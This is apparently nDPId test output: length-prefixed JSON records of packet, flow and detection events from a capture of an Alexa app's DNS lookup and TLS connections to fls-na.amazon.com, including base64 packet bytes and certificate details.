+00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":389,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1490976043611,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":43350,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"fls-na.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":392,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":617123,"pkt_caplen":60,"pkt_type":35085,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AMDKkaPvePiC0\/vCiQ0CDAoBZRIAwMqRdPh4+ILT+8IAwMqRo+\/dFACgxgAAAAAAAAAAAAAAAAAAAAAA"} +00163{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":392,"source":"alexa-app.pcapng","alias":"nDPId-test","type":35085} +00467{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":811357,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"ePiC0\/vCAMDKkaPvCABFAABP0pFAAEARuxKsECoBrBAq2AA1qVYAO\/ZCveGBgAABAAEAAAAABmZscy1uYQZhbWF6b24DY29tAAABAAHADAABAAEAAAAbAARIFc6H"} +00671{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":397,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":41,"flow_packet_id":2,"flow_first_seen":1490976043611,"flow_last_seen":1490976043811,"flow_tot_l4_data_len":102,"flow_min_l4_data_len":43,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":43350,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"fls-na.amazon.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"72.21.206.135"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":398,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1490976043814,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42129,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":814090,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8JoxAAEAGJqusECrYSBXOh6SRAbtDcGnhAAAAAKAC\/\/+2eAAAAgQFtAQCCAoA9k9tAAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":399,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1490976043814,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42130,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":814984,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8bx1AAEAG3hmsECrYSBXOh6SSAbsCViBwAAAAAKAC\/\/9BAwAAAgQFtAQCCAoA9k9tAAAAAAEDAwg="} +00427{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":869135,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwnhhAAOcGCCpIFc6HrBAq2AG7pJISbmyuAlYgcXASH\/4uVQAAAgQFtAEDAwY="} +00414{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":870392,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobx5AAEAG3iysECrYSBXOh6SSAbsCViBxEm5sr1AQAVd4xgAA"} +00694{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":402,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":870910,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"AMDKkaPvePiC0\/vCCABFAAD1bx9AAEAG3V6sECrYSBXOh6SSAbsCViBxEm5sr1AYAVf8bgAAFgMBAMgBAADEAwOSNimGSrtikrr4BiDGBJaapUtZMMHJl95wUbRDfz5SFQAAIJqazKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAeyoqAAD\/AQABAAAAABYAFAAAEWZscy1uYS5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIOjoAHQAXABiKigABAA=="} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":402,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":43,"flow_packet_id":4,"flow_first_seen":1490976043814,"flow_last_seen":1490976043870,"flow_tot_l4_data_len":313,"flow_min_l4_data_len":20,"flow_max_l4_data_len":225,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42130,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00427{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":873683,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwUbtAAOcGVIdIFc6HrBAq2AG7pJG1BAKQQ3Bp4nASH\/5rUgAAAgQFtAEDAwY="} +00414{"flow_id":42,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":875525,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJo1AAEAGJr6sECrYSBXOh6SRAbtDcGnitQQCkVAQAVe1wwAA"} +00694{"flow_id":42,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":875775,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"AMDKkaPvePiC0\/vCCABFAAD1Jo5AAEAGJfCsECrYSBXOh6SRAbtDcGnitQQCkVAYAVcxBAAAFgMBAMgBAADEAwMZJehCtkKewcHD+xJYxAVW6uEh3JFfPpUNQgyNLbS3VAAAIBoazKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAe+rqAAD\/AQABAAAAABYAFAAAEWZscy1uYS5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIKioAHQAXABhKSgABAA=="} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":405,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":42,"flow_packet_id":4,"flow_first_seen":1490976043814,"flow_last_seen":1490976043875,"flow_tot_l4_data_len":313,"flow_min_l4_data_len":20,"flow_max_l4_data_len":225,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42129,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00422{"flow_id":43,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":919439,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo2oZAANwG1sNIFc6HrBAq2AG7pJISbmyvAlYgcVAQARx5AQAAAAAAAAAA"} +00423{"flow_id":42,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":940982,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoQ5xAANwGba5IFc6HrBAq2AG7pJG1BAKRQ3Bp4lAQARy1\/gAAAAAAAAAA"} +00422{"flow_id":42,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":941110,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoQ51AANwGba1IFc6HrBAq2AG7pJG1BAKRQ3Bqr1AQASy1IQAAAAAAAAAA"} +02377{"flow_id":42,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":941369,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcQ55AANwGZ\/hIFc6HrBAq2AG7pJG1BAKRQ3Bqr1AQASzvwQAAFgMDAGwCAABoAwMaDsHOOMTHKZEyHCAHrbDT1zuy09X6mni39uBP3yYUByDM6LjLs2o++Mqa2LMvaRbhCir4ejKLTMZpm5kQ06LxHcAvAAAg\/wEAAQAACwAEAwABAgAFAAAAEAALAAkIaHR0cC8xLjEWAwMLbwsAC2sAC2gABiYwggYiMIIFCqADAgECAhAjXKYxTs1ErLy+l509p0IQMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTA3MDAwMDAwWhcNMTgwMTMwMjM1OTU5WjBrMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEaMBgGA1UEAwwRZmxzLW5hLmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCiX1uuFeHp7s\/u9RJVeIg7pSJGX42DFxgePcypEXRXU1o3cArZybBO2C5Lpg6GM3f45K4KToO0khIXQJB7mXH4bbbQ3+YNFdt7793pBUrodbhy1vNPfwwdBaxsqZ6o5AMBkbpsaSUOdcoTvF9z7DiYKtABRBdPFplNooNjVCUNw9hfksqkbBfzmRXOVJUe6FB2TYGtc1mXHHxQSxvyBoGKYrbiWmhKRKN2oU7shNkGGr+2AY1qqKK5nRLcdy57snSkPzc1VrU7kChpo1TaC6Boi5W9qzCYG13onxMu6WbKte80fZF9+vPs9N9E66H+HyD7t7ZkEmtZMIt4ZpLRyDj9AgMBAAGjggKtMIICqTBaBgNVHREEUzBRghBmbHMtbmEuYW1hem9uLmNhghFmbHMtbmEuYW1hem9uLmNvbYIUZmxzLW5hLmFtYXpvbi5jb20uYnKCFGZscy1uYS5hbWF6b24uY29tLm14MAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHSAEWjBYMFYGBmeBDAECAjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZDBdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFZeQ7n1QAABAMARzBFAiEAyqHpuySuZQoGcM+I+Z0wX00rBtbjPPh\/qzCzZAyUhAoCIAhBWQVD0U3G8MO5dyAwrlvYf2mmJVOHUcCx971NZg0sAHcA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFZeQ7oJwAABAMASDBGAiEA\/RAOoLROyik62vKihf3Zx1TBs1KxISOTjmjnjZrbf64CIQDPCRXOcglmhnaH9koY+cdNR\/1ozx5g78hwrDg9pc0RtzANBgkqhkiG9w0BAQsFAAOCAQEAoKU0Dbk5SCaAT6\/D0vE="} +00791{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":409,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":42,"flow_packet_id":7,"flow_first_seen":1490976043814,"flow_last_seen":1490976043941,"flow_tot_l4_data_len":1833,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":261,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42129,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02383{"flow_id":42,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":941664,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcQ59AANwGZ\/dIFc6HrBAq2AG7pJG1BAhFQ3Bqr1AQASxQFwAAUSPF\/O4EUbS8iqtYW7XeLLFSQkwsNcW0blJi29ViWiroJecqf42koTiJbu21bzXz9NnWx3QZbP7HECKHS8zsIT3wSAg60lzeHBDW9OEnRzctCFd061UcVfmvjmUGgRaAHvZ7KX0Enz4wDCPEaugLfuNk0KjthMfnxC15ABSBgZ3qZBOnTbwhDWuR8lFaApR2cPTN2navpN7AHeLN5gXvpLuLlv7EGbuQwuxCa1AGr9yt4Oc1bKCLJ9usVuCIWzTdGAutoouvNMxOnvMTumCjH0ejhkZjzXQl8u+jtC5TbVZqImKVOkayTYaP10vdNEAbljkABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jM="} +02389{"flow_id":42,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":941993,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcQ6BAANwGZ\/ZIFc6HrBAq2AG7pJG1BA35Q3Bqr1AQASz7nQAAguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccWAwMGURYABk0BAAZJMIIGRQoBAKCCBj4wggY6BgkrBgEFBQcwAQEEggYrMIIGJzCBnqIWBBRFIAKoi4pln3X69ekKGnjS8DcLnhgPMjAxNzAzMzExNDQ0NTVaMHMwcTBJMAkGBSsOAwIaBQAEFNGxZIuMnw3Ra6OKzStQF9X5z8BkBBRfYM9hkFXfhEMUimAqsvV69EMY7wIQI1ymMU7NRKy8vpedPadCEIAAGA8yMDE3MDMzMTE0NDQ1NVqgERgPMjAxNzA0MDcxNDQ0NTVaMA0GCSqGSIb3DQEBBQUAA4IBAQBF6EKFZ1knzWaKjpd1EHbBhF+vBD+Pb5jGJvQ7g3vJZu86FO4kCtZBxKZ0Otr7kXawtFLPQhcBgtM3WGLDS7\/6wvTJdN4fZ0QyzCzTp6q+8UwYOO7uy7R3q0Sob7e\/vf5C10NcDwAqtk4zy4mw2gjKcjCEchqehMvhhObJZfZiwBSeTqEt4ZSJ0gBT\/rv1ZbLkIKs6y\/yS3trFv2EXbi1dDhXd+s5gDJQ+Z4IuN0AmnUA9gLpR7559r6n42AR1MvfF9nRl2troBchZJCqslWOgwvx\/Ih\/1i9PisnYAZyVoek0PXB\/OG\/kMnOd0UZkuJLSgx4XYAXEX2FgTY+xHklRooIIEbjCCBGowggRmMIIDTqADAgECAhBEaJBjaUgF1sr2\/bnRxAUhMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMjA0MDAwMDAwWhcNMTcwNTA1MjM1OTU5WjBAMT4wPAYDVQQDEzVTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNCBPQ1NQIFJlc3BvbmRlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKorQp99vkC6qr9FMqUYxael0Lsma2caI4BjC9k3ZiMwrp+dvSECA4wbWstHvoB86W8Zmld7Mq1ttWywY03MGfAl96ON0PiOVo1XeDZJuXTb9bQLUSxVXuzgnwObGDuWVTxpZR3qrFjJe8I2AyvTNPjgAGVwl7uVg3Gd5k91Vvn7w0bjxB5zGmYSAubCIfzzpr1LFn\/mgU8Ju+6LT2qsP1lkNl5NbHeONr1r1usqgi\/wvPaimgi5Yv\/cUTSSwwVIrnOXifiKGb\/Rt4Io5QAadG9Xwt\/ZOc2UhoGbgcKuh\/LD\/AYHFyYV6RFExgwbe1R77b2XjRqilbA04jsvcGE8xOsCAwEAAaOCARwwggEYMA8GCSsGAQUFBzABBQQCBQAwIgYDVR0RBBswGaQXMBUxEzARBgNVBAMTClRHVi1ELTM4NTcwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wHQYDVR0OBBYEFEUgAqiLimWfdfr16QoaeNLwNwueMAwGA1UdEwEB\/wQCMAAwbgYDVR0gBGcwZTBjBgtghkgBhvhFAQcXAzBUMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAqBggrBgEFBQcCAjAeGhwgIGh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMBMGA1UdJQQMMAoGCCsGAQUFBwMJMA4GA1U="} +01159{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":411,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":42,"flow_packet_id":9,"flow_first_seen":1490976043814,"flow_last_seen":1490976043941,"flow_tot_l4_data_len":4793,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":532,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42129,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","server_names":"fls-na.amazon.ca,fls-na.amazon.com,fls-na.amazon.com.br,fls-na.amazon.com.mx","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=fls-na.amazon.com","alpn":"h2,http\/1.1","fingerprint":"2F:16:23:0F:F8:49:12:18:49:55:48:DA:E6:59:D9:B3:BB:0E:41:8A"}} +01284{"flow_id":42,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976043,"pkt_ts_usec":942040,"pkt_caplen":688,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":688,"pkt_l4_len":654,"pkt":"ePiC0\/vCAMDKkVoBCABFAAKiQ6FAANwGay9IFc6HrBAq2AG7pJG1BBOtQ3Bqr1AYASzAwAAAHQ8BAf8EBAMCB4AwDQYJKoZIhvcNAQELBQADggEBAHgcwWI1WEf915v+BMHzpq1UXjLCqvTFqlTJ6sCk3BCr8RHH4\/a+5XpxufufD6fAA8qZDYLX\/mas8o74I3yLjqr4l1CZ9vdShO6hhBVdjNDlbGEeKPsyMXuzCqxDoAkBqBZL\/pLDi+dSEwlIm2L7LpyiM0wZFDUyfTXTOMDl\/aaq1BslxdPB7rr+FWw9AgwkWCRfnrkwMRszEI7YCaM8kV8sGbR0LDnNx8V+MlL7E+4HxoSjruiAfX0\/mSXLK4Dgdl52tAdcoDAedZSz+H6Y\/busqrTk1nTRwIksEFRr6U5ipHH8d5KWkp1E61BrXCPT2wUDJ5IXYSSMy68heruHRA4WAwMBTQwAAUkDABdBBEllDcHhxMuVunkjouqW5rZ0cMHu\/lXKfrPJea63kNxgOwmpA17bBgbsF60T78PVzzM4Nkg5m\/c5fxLY6MI0XeEGAQEAhlG8vYp1\/\/uAMnuQsF3sLoNJ8bCXa6oa\/bGPF6Q8HF7yLbZETPAeWVOHuqhBM1f6\/K4OYUSYDNZ\/hJDu55b12zPB9OLD\/tIiDBnSdclG98yDh77CIYgF1cQQsvFPMJhTmxkjCM784U\/zHG\/\/nEi4Vwb5ineT6NpP9B65VeNNQpfTjhm8HB3zKARqJ9vRiyXuHvyhF2knicSEEogMc9T1xh9A7T73DxoD4LGsPAvB+UKcNgyr8Lu